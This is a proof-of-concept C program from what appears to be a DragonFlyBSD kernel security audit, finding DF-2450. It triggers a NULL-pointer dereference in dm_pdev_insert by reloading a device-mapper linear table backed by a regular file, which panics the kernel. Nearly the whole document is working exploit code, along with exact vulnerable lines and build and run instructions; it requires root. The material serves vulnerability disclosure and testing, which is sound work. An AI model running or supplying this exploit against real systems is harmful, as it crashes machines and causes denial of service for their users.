DragonFlyBSD Kernel Audit
DF-2450 / poc.c
← back to finding ↓ download raw
/*
 * DF-2450 PoC -- dm_pdev NULL-deref via non-block-device backing path.
 *
 * Bug (sys/dev/disk/dm/dm_pdev.c, dm_pdev_insert, line 168):
 *
 *   143:    error = dm_dk_lookup(dev_name, &dmp->pdev_vnode);
 *   144:    if (error) { ... return NULL; }   // <-- handled cleanly
 *   ...
 *   167:    bzero(&dmp->pdev_pinfo, sizeof(dmp->pdev_pinfo));
 *   168:    error = dev_dioctl(dmp->pdev_vnode->v_rdev, DIOCGPART,
 *   169:                (void *)&dmp->pdev_pinfo, 0, proc0.p_ucred, NULL, NULL);
 *
 * dm_dk_lookup() calls vn_open(). For a REGULAR FILE (not /dev/nonexistent),
 * vn_open SUCCEEDS, so dm_pdev_insert proceeds past the error check at 144.
 * But regular-file vnodes have v_rdev == NULL (only block/char devices set it).
 *
 * At line 168, dev_dioctl(NULL, DIOCGPART, ...) dereferences NULL+0xa8:
 *
 *   dev_dioctl+0xc:  movq 0xa8(%rdi),%rax    ; %rdi = NULL
 *
 * Result: kernel panic (Fatal trap 12, page fault, fault va=0xa8).
 *
 * TRIGGER: create a dm device, then reload a `linear` table whose backing
 * path is a REGULAR FILE (e.g. /tmp/df2450_backing). dm_pdev_insert opens
 * it (vn_open succeeds), then crashes at dev_dioctl because v_rdev is NULL.
 *
 * NOTE ON THE FINDING DESCRIPTION: The original claim said "path does NOT
 * resolve (e.g. /dev/nonexistent)". That specific case is handled cleanly
 * (dm_dk_lookup fails, dm_pdev_insert returns NULL, linear target returns
 * ENOENT). The ACTUAL trigger is a path that RESOLVES to a non-block-device
 * vnode (regular file). The underlying bug (NULL v_rdev passed to
 * dev_dioctl) is real and is in dm_pdev.c:168 as cited.
 *
 * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator. maxx (uid 1001)
 * is NOT in operator/wheel. This PoC must run as root. There is no
 * unprivileged path -- this is a root->kernel DoS (valid hard blocker for
 * uid0). NULL-deref has no write primitive, so no escalation chain.
 *
 * Build:  cc -O2 -o poc poc.c -lprop
 * Run:    ./poc    (as root, after `kldload dm`)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df2450dev"
#define BACKING_FILE "/tmp/df2450_backing"

static int g_ctlfd = -1;

static int
send_ioctl(prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4); /* major */
	prop_array_add_uint32(ver, 0); /* minor <= 16 */
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
do_create(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_remove(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("remove");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

/*
 * Reload a linear table with the given backing path.
 * params: "<dev_path> <offset>"
 */
static int
do_reload_linear(const char *name, const char *devpath)
{
	prop_dictionary_t dict, target_dict;
	prop_array_t cmd_data;
	char params[256];
	int rv;

	snprintf(params, sizeof(params), "%s 0", devpath);

	dict = new_dm_dict("reload");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);

	cmd_data = prop_array_create();
	target_dict = prop_dictionary_create();
	prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "linear");
	prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0);
	prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, 1024);
	prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, params);
	prop_array_add(cmd_data, target_dict);
	prop_object_release(target_dict);
	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data);
	prop_object_release(cmd_data);

	rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

int
main(void)
{
	int rv, fd;

	g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
	if (g_ctlfd < 0) {
		fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV,
		    strerror(errno));
		fprintf(stderr, "    (need root; is `dm` loaded? run: kldload dm)\n");
		return 1;
	}

	printf("[*] DF-2450 dm_pdev NULL-deref via non-block-device backing path\n");
	printf("[*] Bug: dm_pdev_insert:168 dev_dioctl(v_rdev=NULL, DIOCGPART)\n");
	printf("[*] Trigger: regular file as linear backing -> v_rdev NULL -> panic\n");
	fflush(stdout);

	/* Create a regular file to use as the (invalid) backing device. */
	fd = open(BACKING_FILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) {
		fprintf(stderr, "[!] cannot create %s: %s\n", BACKING_FILE,
		    strerror(errno));
		close(g_ctlfd);
		return 1;
	}
	write(fd, "padding", 7);
	close(fd);
	printf("[*] created regular file %s (non-block-device vnode)\n", BACKING_FILE);

	/* Clean up any leftover device. */
	(void)do_remove(DEV_NAME);

	/* Step 1: create a dm device. */
	rv = do_create(DEV_NAME);
	printf("[*] create '%s': rv=%d (%s)\n",
	    DEV_NAME, rv, rv ? strerror(rv) : "ok");
	if (rv != 0 && rv != EEXIST) {
		fprintf(stderr, "[!] create failed unexpectedly\n");
		close(g_ctlfd);
		return 1;
	}

	/*
	 * Step 2: reload a linear table with backing path = regular file.
	 * dm_pdev_insert -> dm_dk_lookup -> vn_open SUCCEEDS (it's a real
	 * file). Then dev_dioctl(vnode->v_rdev=NULL, DIOCGPART) -> NULL+0xa8
	 * deref -> Fatal trap 12 page fault.
	 */
	printf("[*] reloading linear table with regular-file backing path...\n");
	printf("[*] if claim is true: kernel panic in dev_dioctl (NULL v_rdev)\n");
	fflush(stdout);

	rv = do_reload_linear(DEV_NAME, BACKING_FILE);
	/*
	 * If we reach here, the kernel did NOT panic.
	 * On the UNPATCHED kernel, this line should never execute (panic).
	 * On a FIXED kernel, reload returns cleanly (ENOENT or ENOTBLK).
	 */
	printf("[!] reload rv=%d (%s) -- kernel survived\n",
	    rv, rv ? strerror(rv) : "ok");
	if (rv == 0) {
		printf("[!] reload succeeded -- unexpected\n");
	}

	/* Cleanup. */
	(void)do_remove(DEV_NAME);
	close(g_ctlfd);
	return 0;
}